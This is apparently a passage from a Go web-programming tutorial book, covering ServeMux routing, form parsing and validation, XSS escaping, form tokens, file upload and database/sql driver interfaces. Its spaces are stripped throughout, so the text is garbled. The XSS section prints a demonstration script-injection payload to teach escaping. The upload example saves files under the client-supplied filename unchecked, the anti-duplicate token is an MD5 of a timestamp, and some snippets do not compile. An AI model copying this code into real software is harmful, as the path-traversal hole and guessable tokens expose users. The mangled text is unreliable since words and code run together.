littlebitaboutGo'shttppackage.Inthissection,wearegoingtolearnabouttwocorefunctionsinthehttppackage:ConnandServeMux.

goroutineinConn

UnlikenormalHTTPservers,GousesgoroutinesforeveryjobinitiatedbyConninordertoachievehighconcurrencyandperformance,soeveryjobisindependent.

Gousesthefollowingcodetowaitfornewconnectionsfromclients.

c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()

Asyoucansee,itcreatesanewgoroutineforeveryconnection,andpassesthehandlerthatisabletoreaddatafromtherequesttothegoroutine.

CustomizedServeMux

WeusedGo'sdefaultrouterinprevioussectionswhendiscussingconn.server,withtherouterpassingrequestdatatoaback-endhandler.

Thestructofthedefaultrouter:

typeServeMuxstruct{musync.RWMutex//becauseofconcurrency,wehavetouseamutexheremmap[string]muxEntry//routerrules,everystringmappingtoahandler}

ThestructofmuxEntry:

typemuxEntrystruct{explicitbool//exactmatchornothHandler}

TheinterfaceofHandler:

typeHandlerinterface{ServeHTTP(ResponseWriter,*Request)//routingimplementer}

Handlerisaninterface,butifthefunctionsayhelloNamedidn'timplementthisinterface,thenhowdidweadditashandler?TheanswerliesinanothertypecalledHandlerFuncinthehttppackage.WecalledHandlerFunctodefineoursayhelloNamemethod,sosayhelloNameimplementedHandleratthesametime.It'slikewe'recallingHandlerFunc(f),andthefunctionfisforceconvertedtotypeHandlerFunc.

typeHandlerFuncfunc(ResponseWriter,*Request)

//ServeHTTPcallsf(w,r).func(fHandlerFunc)ServeHTTP(wResponseWriter,r*Request){f(w,r)}

Howdoestheroutercallhandlersafterwesettherouterrules?

Theroutercallsmux.handler.ServeHTTP(w,r)whenitreceivesrequests.Inotherwords,itcallstheServeHTTPinterfaceofthehandlerswhichhaveimplementedit.

Now,let'sseehowmux.handlerworks.

func(mux*ServeMux)handler(r*Request)Handler{mux.mu.RLock()

defermux.mu.RUnlock()

//Host-specificpatterntakesprecedenceovergenericonesh:=mux.match(r.Host+r.URL.Path)ifh==nil{h=mux.match(r.URL.Path)}ifh==nil{h=NotFoundHandler()}returnh}

Therouterusestherequest'sURLasakeytofindthecorrespondinghandlersavedinthemap,thencallshandler.ServeHTTPtoexecutefunctionstohandlethedata.

Youshouldunderstandthedefaultrouter'sworkflowbynow,andGoactuallysupportscustomizedrouters.ThesecondargumentofListenAndServeisforconfiguringcustomizedrouters.It'saninterfaceofHandler.Therefore,anyrouterthatimplementstheHandlerinterfacecanbeused.

Thefollowingexampleshowshowtoimplementasimplerouter.

packagemain

import("fmt""net/http")

typeMyMuxstruct{}

func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}http.NotFound(w,r)

return}

funcsayhelloName(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hellomyroute!")}

funcmain(){mux:=&MyMux{}http.ListenAndServe(":9090",mux)}

Gocodeexecutionflow

Let'stakealookatthewholeexecutionflow.

Callhttp.HandleFunci. CallHandleFuncofDefaultServeMuxii. CallHandleofDefaultServeMuxiii. Addrouterrulestomap[string]muxEntryofDefaultServeMuxCallhttp.ListenAndServe(":9090",nil)i. InstantiateServerii. CallListenAndServemethodofServeriii. Callnet.Listen("tcp",addr)tolistentoportiv. Startaloopandacceptrequestsintheloopbodyv. InstantiateaConnandstartagoroutineforeveryrequest:go

c.serve()

vi. Readrequestdata:w,err:=c.readRequest()vii. Checkwhetherhandlerisemptyornot,ifit'semptythenuse

DefaultServeMuxviii. CallServeHTTPofhandlerix. ExecutecodeinDefaultServeMuxinthiscasex. ChoosehandlerbyURLandexecutecodeinthathandlerfunction:

mux.handler.ServeHTTP(w,r)

xi. Howtochoosehandler:A.CheckrouterrulesforthisURLB.Call

ServeHTTPinthathandlerifthereisoneC.CallServeHTTPofNotFoundHandlerotherwise

Links

DirectoryPrevioussection:HowGoworkswithwebNextsection:Summary

3.5SummaryInthischapter,weintroducedHTTP,DNSresolutionflowandhowtobuildasimplewebserver.ThenwetalkedabouthowGoimplementswebserversforusbylookingatthesourcecodeofthenet/httppackage.

Ihopethatyounowknowmuchmoreaboutwebdevelopment,andyoushouldseethatit'squiteeasyandflexibletobuildawebapplicationinGo.

Links

DirectoryPrevioussection:GetintohttppackageNextchapter:Userform

4UserformAuserformissomethingthatisverycommonlyusedwhendeveloppingwebapplications.Itprovidestheabilitytocommunicatebetweenclientsandservers.Youmustbeveryfamiliarwithformsifyouareawebdeveloper;ifyouareaC/C++programmer,youmaywanttoask:whatisauserform?

Aformisanareathatcontainsformelements.Userscaninputinformation

intoformelementsliketextboxes,dropdownlists,radiobuttons,checkboxes,etc.Weusetheformtag<form>todefineforms.

<form>...inputelements...</form>

Goalreadyhasmanyconvenientfunctionstodealwithuserforms.YoucaneasilygetformdatainHTTPrequests,andtheyareeasytointegrateintoyourownwebapplications.Insection4.1,wearegoingtotalkabouthowtohandleformdatainGo.Also,sinceyoucannottrustanydatacomingfromtheclientside,youmustfirstverifythedatabeforeusingit.We'llgothroughsomeexamplesabouthowtoverifyformdatainsection4.2.

WesaythatHTTPisstateless.Howcanweidentifythatcertainformsarefromthesameuser?Andhowdowemakesurethatoneformcanonlybesubmittedonce?We'lllookatsomedetailsconcerningcookies(acookieisinformationthatcanbesavedontheclientsideandaddedtotherequestheaderwhentherequestissenttotheserver)inbothsections4.3and4.4.

Anotherbiguse-caseofformsisuploadingfiles.Insection4.5,youwilllearnhowtodothisaswellascontrollingthefileuploadsizebeforeitbeginsuploading,inGo.

Links

DirectoryPreviouschapter:Chapter3SummaryNextsection:Processforminputs

4.1Processforminputs

Beforewebegin,let'stakealookatasimpleexampleofatypicaluserform,savedaslogin.gtplinyourprojectfolder.

<html><head><title></title></head><body><formaction="/login"method="post">Username:<inputtype="text"name="username">Password:<inputtype="password"name="password"><inputtype="submit"value="Login"></form></body></html>

Thisformwillsubmitto/loginontheserver.Aftertheuserclickstheloginbutton,thedatawillbesenttotheloginhandlerregisteredbytheserverrouter.ThenweneedtoknowwhetheritusesthePOSTmethodorGET.

Thisiseasytofindoutusingthehttppackage.Let'sseehowtohandletheformdataontheloginpage.

packagemain

import("fmt""html/template""log""net/http""strings")

funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//Parseurlparameterspassed,thenparsetheresponsepacketforthePOSTbody(requestbody)//attention:IfyoudonotcallParseFormmethod,thefollowingdatacannotbeobtainedformfmt.Println(r.Form)//printinformationonserverside.fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)

fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//writedatatoresponse}

funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//getrequestmethodifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")t.Execute(w,nil)}else{r.ParseForm()//logicpartofloginfmt.Println("username:",r.Form["username"])fmt.Println("password:",r.Form["password"])}}

funcmain(){http.HandleFunc("/",sayhelloName)//settingrouterrulehttp.HandleFunc("/login",login)err:=http.ListenAndServe(":9090",nil)//settinglisteningportiferr!=nil{log.Fatal("ListenAndServe:",err)}}

Hereweuser.Methodtogettherequestmethod,anditreturnsanhttpverb-"GET","POST","PUT",etc.

Intheloginfunction,weuser.Methodtocheckwhetherit'saloginpageorloginprocessinglogic.Inotherwords,wechecktoseewhethertheuserissimplyopeningthepage,ortryingtologin.ServeshowsthepageonlywhentherequestcomesinviatheGETmethod,anditexecutestheloginlogicwhentherequestusesthePOSTmethod.

Youshouldseethefollowinginterfaceafteropeninghttp://127.0.0.1:9090/logininyourbrowser.

Figure4.1Userlogininterface

Theserverwillnotprintanythinguntilafterwetypeinausernameandpassword,becausethehandlerdoesn'tparsetheformuntilwecallr.ParseForm().Let'saddr.ParseForm()beforefmt.Println("username:",r.Form["username"]),compileourprogramandtestitagain.Youwillfindthattheinformationisprintedontheserversidenow.

r.Formcontainsalloftherequestarguments,forinstancethequery-stringintheURLandthedatainPOSTandPUT.Ifthedatahasconflicts,forexampleparametersthathavethesamename,theserverwillsavethedataintoaslicewithmultiplevalues.TheGodocumentationstatesthatGowillsavethedatafromGETandPOSTrequestsindifferentplaces.

Trychangingthevalueoftheactionintheformhttp://127.0.0.1:9090/logintohttp://127.0.0.1:9090/login?username=astaxieinthelogin.gtplfile,testitagain,andyouwillseethatthesliceisprintedontheserverside.

Figure4.2Serverprintsrequestdata

Thetypeofrequest.Formisurl.Value.Itsavesdatawiththeformatkey=value.

v:=url.Values{}v.Set("name","Ava")v.Add("friend","Jess")v.Add("friend","Sarah")v.Add("friend","Zoe")

//v.Encode()=="name=Ava&friend=Jess&friend=Sarah&friend=Zoe"fmt.Println(v.Get("name"))fmt.Println(v.Get("friend"))fmt.Println(v["friend"])

TipsRequestshavetheabilitytoaccessformdatausingtheFormValue()method.Forexample,youcanchanger.Form["username"]tor.FormValue("username"),andGocallsr.ParseFormautomatically.Noticethatitreturnsthefirstvalueifthereareargumentswiththesamename,anditreturnsanemptystringifthereisnosuchargument.

Links

DirectoryPrevioussection:UserformNextsection:Verificationofinputs

4.2VerificationofinputsOneofthemostimportantprinciplesinwebdevelopmentisthatyoucannottrustanythingfromclientsideuserforms.Youhavetoverifyallincomingdatabeforeuseit.Manywebsitesareaffectedbythisproblem,whichissimpleyetcrucial.

Therearetwowaysofverifyformdatathatarecommonlyused.OneisJavaScriptverificationinthefront-end,andtheotherisserververificationintheback-end.Inthissection,wearegoingtotalkaboutserversideverificationinwebdevelopment.

Requiredfields

Sometimeswerequirethatusersinputsomefieldsbuttheydon't,forexampleintheprevioussectionwhenwerequiredausername.Youcanuse

thelenfunctiontogetthelengthofafieldinordertoensurethatusershaveenteredthisinformation.

iflen(r.Form["username"][0])==0{//codeforemptyfield}

r.Formtreatsdifferentformelementtypesdifferentlywhentheyareblank.Foremptytextboxes,textareasandfileuploads,itreturnsanemptystring;forradiobuttonsandcheckboxes,itdoesn'tevencreatethecorrespondingitems.Instead,youwillgeterrorsifyoutrytoaccessit.Therefore,it'ssafertouser.Form.Get()togetfieldvaluessinceitwillalwaysreturnemptyifthevaluedoesnotexist.Ontheotherhand,r.Form.Get()canonlygetonefieldvalueatatime,soyouneedtouser.Formtogetthemapofvalues.

Numbers

Sometimesyouonlyneednumbersforthefieldvalue.Forexample,let'ssaythatyourequiretheageofauserinintegerformonly,i.e50or10,insteadof"oldenough"or"youngman".Ifwerequireapositivenumber,wecanconvertthevaluetotheinttypefirst,thenprocessit.

getint,err:=strconv.Atoi(r.Form.Get("age"))iferr!=nil{//erroroccurswhenconverttonumber,itmaynotanumber}

//checkrangeofnumberifgetint>100{//toobig}

Anotherwaytodothisisusingregularexpressions.

ifm,_:=regexp.MatchString("^[0-9]+$",r.Form.Get("age"));!m{

returnfalse}

Forhighperformancepurposes,regularexpressionsarenotefficient,howeversimpleregularexpressionsareusuallyfastenough.Ifyouarefamiliarwithregularexpressions,it'saveryconvenientwaytoverifydata.NoticethatGousesRE2,soallUTF-8charactersaresupported.

Chinese

SometimesweneeduserstoinputtheirChinesenamesandwehavetoverifythattheyalluseChineseratherthanrandomcharacters.ForChineseverification,regularexpressionsaretheonlyway.

ifm,_:=regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$",r.Form.Get("realname"));!m{returnfalse}

Englishletters

SometimesweneeduserstoinputonlyEnglishletters.Forexample,werequiresomeone'sEnglishname,likeastaxieinsteadofasta.Wecaneasilyuseregularexpressionstoperformourverification.

ifm,_:=regexp.MatchString("^[a-zA-Z]+$",r.Form.Get("engname"));!m{returnfalse}

E-mailaddress

IfyouwanttoknowwhetherusershaveenteredvalidE-mailaddresses,youcanusethefollowingregularexpression:

ifm,_:=regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`,r.Form.Get("email"));!m{fmt.Println("no")}else{fmt.Println("yes")}

Dropdownlist

Let'ssaywerequireanitemfromourdropdownlist,butinsteadwegetavaluefabricatedbyhackers.Howdowepreventthisfromhappening?

Supposewehavethefollowing<select>:

<selectname="fruit"><optionvalue="apple">apple</option><optionvalue="pear">pear</option><optionvalue="banana">banana</option></select>

Wecanusethefollowingstrategytosanitizeourinput:

slice:=[]string{"apple","pear","banana"}

for_,v:=rangeslice{ifv==r.Form.Get("fruit"){returntrue}}returnfalse

AllthefunctionsI'veshownaboveareinmyopensourceprojectfor

operatingonslicesandmaps:https://github.com/astaxie/beeku

Radiobuttons

Ifwewanttoknowwhethertheuserismaleorfemale,wemayusearadiobutton,returning1formaleand2forfemale.However,somelittlekidwhojustreadhisfirstbookonHTTP,decidestosendtoyoua3.Willyourprogramhavehaveexception?Asyoucansee,weneedtousethesamemethodaswedidforourdropdownlisttomakesurethatonlyexpectedvaluesarereturnedbyourradiobutton.

<inputtype="radio"name="gender"value="1">Male<inputtype="radio"name="gender"value="2">Female

Andweusefollowingcodetoverifytheinput:

slice:=[]int{1,2}

for_,v:=rangeslice{ifv==r.Form.Get("gender"){returntrue}}returnfalse

Checkboxes

Supposetherearesomecheckboxesforuserinterests,andthatyoudon'twantextraneousvalueshereeither.

<inputtype="checkbox"name="interest"value="football">Football<inputtype="checkbox"name="interest"value="basketball">Basketball<inputtype="checkbox"name="interest"value="tennis">Tennis

Inthiscase,thesanitizationisalittlebitdifferentthanverifyingthebuttonandcheckboxinputssinceherewegetaslicefromthecheckboxes.

slice:=[]string{"football","basketball","tennis"}a:=Slice_diff(r.Form["interest"],slice)ifa==nil{returntrue}

returnfalse

Dateandtime

Supposeyouwantuserstoinputvaliddatesortimes.Gohasthetimepackageforconvertingyear,monthanddaytotheircorrespondingtimes.Afterthat,it'seasytocheckit.

t:=time.Date(2009,time.November,10,23,0,0,0,time.UTC)fmt.Printf("Golaunchedat%s\n",t.Local())

Afteryouhavethetime,youcanusethetimepackageformoreoperations,dependingonyourneeds.

Inthissection,we'vediscussedsomecommonmethodsforverifyingformdataserverside.IhopethatyounowunderstandmoreaboutdataverificationinGo,especiallyhowtouseregularexpressionstoyouradvantage.

Links

DirectoryPrevioussection:Processforminputs

Nextsection:Crosssitescripting

4.3CrosssitescriptingToday'swebsiteshavemuchmoredynamiccontentinordertoimproveuserexperience,whichmeansthatwemustprovidedynamicinformationdependingoneveryindividual'sbehavior.Unfortunately,thereisathingcalled"Crosssitescripting"(knownas"XSS")alwaysattackingdynamicwebsites,fromwhichstaticwebsitesarecompletelyfineatthistime.

AttackersofteninjectmaliciousscriptslikeJavaScript,VBScript,ActiveXorFlashintothosewebsitesthathaveloopholes.Oncetheyhavesuccessfullyinjectedtheirscripts,userinformationcanbestolenandyourwebsitecanbefloodedwithspam.Theattackerscanalsochangeusersettingstowhatevertheywant.

Ifyouwanttopreventthiskindofattack,youshouldcombinethetwofollowingapproaches:

Verificationofalldatafromusers,whichwetalkedaboutintheprevioussection.Carefullyhandledatathatwillbesenttoclientsinordertopreventanyinjectedscriptsfromrunningonbrowsers.

SohowcanwedothesetwothingsinGo?Fortunately,thehtml/templatepackagehassomeusefulfunctionstoescapedataasfollows:

funcHTMLEscape(wio.Writer,b[]byte)escapesbtow.funcHTMLEscapeString(sstring)stringreturnsastringafterescapingfroms.funcHTMLEscaper(args...interface{})stringreturnsastringafterescapingfrommultiplearguments.

Let'schangetheexampleinsection4.1:

fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//printatserversidefmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//respondedtoclients

Ifsomeonetriestoinputtheusernameas<script>alert()</script>,wewillseethefollowingcontentinthebrowser:

Figure4.3JavaScriptafterescaped

Functionsinthehtml/templatepackagehelpyoutoescapeallHTMLtags.Whatifyoujustwanttoprint<script>alert()</script>tobrowsers?Youshouldusetext/templateinstead.

import"text/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")

Output:

Hello,<script>alert('youhavebeenpwned')</script>!

Oryoucanusethetemplate.HTMLtype:Variablecontentwillnotbeescapedifitstypeistemplate.HTML.

import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T",template.HTML("<script>alert('youhavebeenpwned')</script>"))

Output:

Hello,<script>alert('youhavebeenpwned')</script>!

Onemoreexampleofescaping:

import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")

Output:

Hello,&lt;script&gt;alert(&#39;youhavebeenpwned&#39;)&lt;/script&gt;!

Links

DirectoryPrevioussection:VerificationofinputsNextsection:Duplicatesubmissions

4.4Duplicatesubmissions

Idon'tknowifyou'veeverseensomeblogsorBBS'thathavemorethanonepoststhatareexactlythesame,butIcantellyouthatit'sbecauseuserssubmittedduplicatepostforms.Theremanythingsthatcancauseduplicatesubmissions;sometimesusersjustdoubleclickthesubmitbutton,ortheywanttomodifysomecontentafterpostingandpressthebackbutton.Othertimesit'stheintentionalactionsofmalicioususers.It'seasytoseehowduplicatesubmissionscanleadtomanyproblems.Thus,wehavetouseeffectivemeanstopreventit.

Thesolutionistoaddahiddenfieldwithauniquetokentoyourform,andtoalwayscheckthistokenbeforeprocessingtheincomingdata.Also,ifyouareusingAjaxtosubmitaform,useJavaScripttodisablethesubmitbuttononcetheformhasbeensubmitted.

Let'simprovetheexamplefromsection4.2:

<inputtype="checkbox"name="interest"value="football">Football<inputtype="checkbox"name="interest"value="basketball">Basketball<inputtype="checkbox"name="interest"value="tennis">TennisUsername:<inputtype="text"name="username">Password:<inputtype="password"name="password"><inputtype="hidden"name="token"value="{{.}}"><inputtype="submit"value="Login">

WeuseanMD5hash(timestamp)togeneratethetoken,andaddedittobothahiddenfieldontheclientsideformandasessioncookieontheserverside(Chapter6).Wecanthenusethistokentocheckwhetherornotthisformwassubmitted.

funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//getrequestmethodifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))

token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)}else{//loginrequestr.ParseForm()token:=r.Form.Get("token")iftoken!=""{//checktokenvalidity}else{//giveerrorifnotoken}fmt.Println("usernamelength:",len(r.Form["username"][0]))fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//printinserversidefmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//respondtoclient}}

Figure4.4Thecontentinbrowserafteraddingatoken

Youcanrefreshthispageandyouwillseeadifferenttokeneverytime.This

ensuresthateveryformisunique.

Fornow,youcanpreventmanyduplicatesubmissionattacksbyaddingtokenstoyourforms,butitcannotpreventalldeceptiveattacksofthistype.Thereismuchmoreworkthatneedstobedone.

Links

DirectoryPrevioussection:CrosssitescriptingNextsection:Fileupload

4.5FileuploadSupposeyouhaveawebsitelikeInstagramandyouwantuserstouploadtheirbeautifulphotos.Howwouldyouimplementthatfunctionality?

Youhavetoaddpropertyenctypetotheformthatyouwanttouseforuploadingphotos.Therearethreepossiblevaluesforthisproperty:

application/x-www-form-urlencodedTranscodeallcharactersbeforeuploading(default).multipart/form-dataNotranscoding.Youmustusethisvaluewhenyourformhasfileuploadcontrols.text/plainConvertspacesto"+",butnotranscodingforspecialcharacters.

Therefore,theHTMLcontentofafileuploadformshouldlooklikethis:

<html><head><title>Uploadfile</title></head><body><formenctype="multipart/form-data"action="http://127.0.0.1:9090/u

pload"method="post"><inputtype="file"name="uploadfile"/><inputtype="hidden"name="token"value="{{.}}"/><inputtype="submit"value="upload"/></form></body></html>

Weneedtoaddafunctionontheserversidetohandlethisform.

http.HandleFunc("/upload",upload)

//uploadlogicfuncupload(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("upload.gtpl")t.Execute(w,token)}else{r.ParseMultipartForm(32<<20)file,handler,err:=r.FormFile("uploadfile")iferr!=nil{fmt.Println(err)return}deferfile.Close()fmt.Fprintf(w,"%v",handler.Header)f,err:=os.OpenFile("./test/"+handler.Filename,os.O_WRONLY|os.O_CREATE,0666)iferr!=nil{fmt.Println(err)return}deferf.Close()io.Copy(f,file)}}

Asyoucansee,weneedtocallr.ParseMultipartFormforuploadingfiles.ThefunctionmaxMemoryargument.AfteryoucallParseMultipartForm,thefilewillbesavedintheservermemorywithmaxMemorysize.IfthefilesizeislargerthanmaxMemory,therestofthedatawillbesavedinasystemtemporaryfile.Youcanuser.FormFiletogetthefilehandleanduseio.Copytosavetoyourfilesystem.

Youdon'tneedtocallr.ParseFormwhenyouaccessothernon-filefieldsintheformbecauseGowillcallitwhenit'snecessary.Also,callingParseMultipartFormonceisenough-multiplecallsmakenodifference.

Weusethreestepsforuploadingfilesasfollows:

1. Addenctype="multipart/form-data"toyourform.2. Callr.ParseMultipartFormontheserversidetosavethefileeithertomemoryortoatemporaryfile.

3. Callr.FormFiletogetthefilehandleandsavetothefilesystem.

Thefilehandleristhemultipart.FileHeader.Itusesthefollowingstruct:

typeFileHeaderstruct{FilenamestringHeadertextproto.MIMEHeader//containsfilteredorunexportedfields}

Figure4.5Printinformationonserverafterreceivingfile.

Clientsuploadfiles

Ishowedanexampleofusingaformtoauploadafile.WecanimpersonateaclientformtouploadfilesinGoaswell.

packagemain

import("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os")

funcpostFile(filenamestring,targetUrlstring)error{bodyBuf:=&bytes.Buffer{}bodyWriter:=multipart.NewWriter(bodyBuf)

//thisstepisveryimportantfileWriter,err:=bodyWriter.CreateFormFile("uploadfile",filename)iferr!=nil{fmt.Println("errorwritingtobuffer")returnerr}

//openfilehandlefh,err:=os.Open(filename)iferr!=nil{fmt.Println("erroropeningfile")returnerr}

//iocopy_,err=io.Copy(fileWriter,fh)iferr!=nil{returnerr}

contentType:=bodyWriter.FormDataContentType()bodyWriter.Close()

resp,err:=http.Post(targetUrl,contentType,bodyBuf)iferr!=nil{returnerr}deferresp.Body.Close()

resp_body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{returnerr}fmt.Println(resp.Status)fmt.Println(string(resp_body))returnnil}

//sampleusagefuncmain(){target_url:="http://localhost:9090/upload"filename:="./astaxie.pdf"postFile(filename,target_url)}

Theaboveexampleshowsyouhowtouseaclienttouploadfiles.Itusesmultipart.WritetowritefilesintocacheandsendsthemtotheserverthroughthePOSTmethod.

Ifyouhaveotherfieldsthatneedtowriteintodata,likeusername,callmultipart.WriteFieldasneeded.

Links

DirectoryPrevioussection:DuplicatesubmissionsNextsection:Summary

4.6SummaryInthischapter,wemainlylearnedhowtoprocessformdatainGothroughseveralexampleslikelogginginusersanduploadingfiles.Wealsoemphasizedthatverifyinguserdataisextremelyimportantforwebsitesecurity,andweusedonesectiontotalkabouthowtofilterdatawithregularexpressions.

Ihopethatyounowknowmoreaboutthecommunicationprocessbetweenclientandserver.

Links

DirectoryPrevioussection:FileuploadNextchapter:Database

5DatabaseForwebdevelopers,thedatabaseisatthecoreofwebdevelopment.Youcansavealmostanythingintoadatabaseandqueryorupdatedatainsideit,likeuserinformation,productsornewsarticles.

Godoesn'tprovideanydatabasedrivers,butitdoeshaveadriverinterfacedefinedinthedatabase/sqlpackage.Peoplecandevelopdatabasedriversbasedonthatinterface.Insection5.1,wearegoingtotalkaboutdatabasedriverinterfacedesigninGo;insections5.2to5.4,IwillintroducesomeSQLdatabasedriverstoyou;insection5.5,i'llpresenttheORMthati'vedevelopedwhichisbasedonthedatabase/sqlinterfacestandard.It'scompatiblewithmostdriversthathaveimplementedthedatabase/sqlinterface,anditmakesiteasytoaccessdatabasesidiomaticallyinGo.

NoSQLhasbeenahottopicinrecentyears.MorewebsitesaredecidingtouseNoSQLdatabasesastheirmaindatabaseinsteadofjustforthepurposeofcaching.IwillintroduceyoutotwoNoSQLdatabases,whichareMongoDBandRedis,insection5.6.

Links

DirectoryPreviousChapter:Chapter4Summary

Nextsection:database/sqlinterface

5.1database/sqlinterfaceGodoesn'tprovideanyofficialdatabasedrivers,unlikeotherlanguageslikePHPwhichdo.However,itdoeshavesomedatabasedriverinterfacestandardsfordeveloperstodevelopdatabasedriverswith.Theadvantageisthatifyourcodeisdevelopedaccordingtotheseinterfacestandards,youwillnotneedtochangeanycodeifyourdatabasechanges.Let'sseewhatthesedatabaseinterfacestandardsare.

sql.Register

Thisfunctionisinthedatabase/sqlpackageforregisteringdatabasedriverswhenyouusethird-partydatabasedrivers.AlloftheseshouldcalltheRegister(namestring,driverdriver.Driver)functionininit()inordertoregisterthemselves.

Let'stakealookatthecorrespondingmymysqlandsqlite3drivercode:

//https://github.com/mattn/go-sqlite3driverfuncinit(){sql.Register("sqlite3",&SQLiteDriver{})}

//https://github.com/mikespook/mymysqldriver//Driverautomaticallyregisteredindatabase/sqlvard=Driver{proto:"tcp",raddr:"127.0.0.1:3306"}funcinit(){Register("SETNAMESutf8")sql.Register("mymysql",&d)}

Weseethatallthird-partydatabasedrivershaveimplementedthisfunctiontoregisterthemselves,andGousesamaptosaveuserdriversinsideofdatabase/sql.

vardrivers=make(map[string]driver.Driver)

drivers[name]=driver

Therefore,thisregisterfunctioncanregisterdriversasmanyasyouwantwithdifferentnames.

Wealwaysseethefollowingcodewhenweusethird-partydrivers:

import("database/sql"_"github.com/mattn/go-sqlite3")

Heretheunderscore(alsoknownasa'blank')_canbequiteconfusingformanybeginners,butthisisagreatfeatureinGo.Wealreadyknowthatthisidentifierisfordiscardingvaluesfromfunctionreturns,andalsothatyoumustuseallpackagesthatyou'veimportedinyourcodeinGo.Sowhentheblankisusedwithimport,itmeansthatyouneedtoexecutetheinit()functionofthatpackagewithoutdirectlyusingit,whichexactlyfitstheuse-caseforregisteringdatabasedrivers.

driver.Driver

DriverisaninterfacecontaininganOpen(namestring)methodthatreturnsaConninterface.

typeDriverinterface{Open(namestring)(Conn,error)}

Thisisaone-timeConn,whichmeansitcanonlybeusedonceinonegoroutine.Thefollowingcodewillcauseerrorstooccur:

...gogoroutineA(Conn)//querygogoroutineB(Conn)//insert...

BecauseGohasnoideawhichgoroutinedoeswhatoperation,thequeryoperationmaygettheresultoftheinsertoperation,andvice-versa.

Allthird-partydriversshouldhavethisfunctiontoparsethenameofConnandreturnthecorrectresults.

driver.Conn

Thisisadatabaseconnectioninterfacewithsomemethods,andasi'vesaidabove,thesameConncanonlybeusedinonegoroutine.

typeConninterface{Prepare(querystring)(Stmt,error)Close()errorBegin()(Tx,error)}

PreparereturnsthepreparestatusofcorrespondingSQLcommandsforqueryinganddeleting,etc.Closeclosesthecurrentconnectionandcleansresources.Mostthird-partydriversimplementsomekindofconnectionpool,soyoudon'tneedtocacheconnectionsunlessyouwanttohaveunexpectederrors.BeginreturnsaTxthatrepresentsatransactionhandle.Youcanuseitforquerying,updating,rollingbacktransactions,etc.

driver.Stmt

ThisisareadystatusthatcorrespondswithConn,soitcanonlybeusedinonegoroutinelikeConn.

typeStmtinterface{Close()errorNumInput()intExec(args[]Value)(Result,error)Query(args[]Value)(Rows,error)}

Closeclosesthecurrentconnectionbutstillreturnsrowdataifitisexecutingaqueryoperation.NumInputreturnsthenumberofobligatearguments.Databasedriversshouldchecktheircaller'sargumentswhentheresultisgreaterthan0,anditreturns-1whendatabasedriversdon'tknowanyobligateargument.Execexecutestheupdate/insertSQLcommandspreparedinPrepare,returnsResult.QueryexecutestheselectSQLcommandpreparedinPrepare,returnsrowdata.

driver.Tx

Generally,transactionhandlesonlyhavesubmitorrollbackmethods,anddatabasedriversonlyneedtoimplementthesetwomethods.

typeTxinterface{Commit()errorRollback()error}

driver.Execer

Thisisanoptionalinterface.

typeExecerinterface{

Exec(querystring,args[]Value)(Result,error)}

Ifthedriverdoesn'timplementthisinterface,whenyoucallDB.Exec,itwillautomaticallycallPrepare,thenreturnStmt.AfterthatitexecutestheExecmethodofStmt,thenclosesStmt.

driver.Result

Thisistheinterfaceforresultsofupdate/insertoperations.

typeResultinterface{LastInsertId()(int64,error)RowsAffected()(int64,error)}

LastInsertIdreturnsauto-incrementIdnumberafteradatabaseinsertoperation.RowsAffectedreturnsrowsthatwereaffectedbyqueryoperations.

driver.Rows

Thisistheinterfacefortheresultofaqueryoperation.

typeRowsinterface{Columns()[]stringClose()errorNext(dest[]Value)error}

Columnsreturnsfieldinformationofdatabasetables.Theslicehasaone-to-onecorrespondencewithSQLqueryfieldsonly,anddoesnotreturnallfieldsofthatdatabasetable.

CloseclosesRowsiterator.Nextreturnsnextdataandassignstodest,convertingallstringsintobytearrays,andgetsio.EOFerrorifnomoredataisavailable.

driver.RowsAffected

Thisisanaliasofint64,butitimplementstheResultinterface.

typeRowsAffectedint64

func(RowsAffected)LastInsertId()(int64,error)

func(vRowsAffected)RowsAffected()(int64,error)

driver.Value

Thisisanemptyinterfacethatcancontainsanykindofdata.

typeValueinterface{}

TheValuemustbesomethingthatdriverscanoperateonornil,soitshouldbeoneoffollowingtypes:

int64float64bool[]bytestring[*]ExceptRows.Nextwhichcannotreturnstringtime.Time

driver.ValueConverter

Thisdefinesaninterfaceforconvertingnormalvaluestodriver.Value.

typeValueConverterinterface{ConvertValue(vinterface{})(Value,error)}

Thisinterfaceiscommonlyusedindatabasedriversandhasmanyusefulfeatures:

